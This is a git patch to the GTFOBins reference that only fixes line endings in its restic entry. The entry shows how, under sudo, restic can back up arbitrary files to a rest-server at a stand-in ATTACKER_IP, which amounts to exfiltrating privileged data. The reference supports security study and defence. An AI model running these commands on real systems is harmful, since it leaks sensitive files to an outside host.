From 9ec96219a35cadec8a0fb128207faa3d35cab5ed Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sun, 12 Apr 2020 11:46:55 +0200 Subject: [PATCH] Fix line termination --- _gtfobins/restic.md | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/_gtfobins/restic.md b/_gtfobins/restic.md index 00d2d1f..bdc2c87 100644 --- a/_gtfobins/restic.md +++ b/_gtfobins/restic.md @@ -1,18 +1,18 @@ ---- -functions: - sudo: - - description: Restic can be used to backup files. Run the commands in the sequence given below. - code: | - - rest-server --no-auth --listen http://ATTACKER_IP:PORT - - TARGET=rest_repository - BACKUP=file_or_directory_to_backup - sudo restic init -r rest:http://ATTACKER_IP:PORT/$TARGET - sudo restic backup -r rest:http://ATTACKER_IP:PORT/$TARGET $BACKUP - - TARGET=rest_repository - DESTINATION=backup_to_restore - mkdir /tmp/restic/$DESTINATION - restic restore -r /tmp/restic/$TARGET latest --target /tmp/restic/$DESTINATION ---- +--- +functions: + sudo: + - description: Restic can be used to backup files. Run the commands in the sequence given below. + code: | + + rest-server --no-auth --listen http://ATTACKER_IP:PORT + + TARGET=rest_repository + BACKUP=file_or_directory_to_backup + sudo restic init -r rest:http://ATTACKER_IP:PORT/$TARGET + sudo restic backup -r rest:http://ATTACKER_IP:PORT/$TARGET $BACKUP + + TARGET=rest_repository + DESTINATION=backup_to_restore + mkdir /tmp/restic/$DESTINATION + restic restore -r /tmp/restic/$TARGET latest --target /tmp/restic/$DESTINATION +---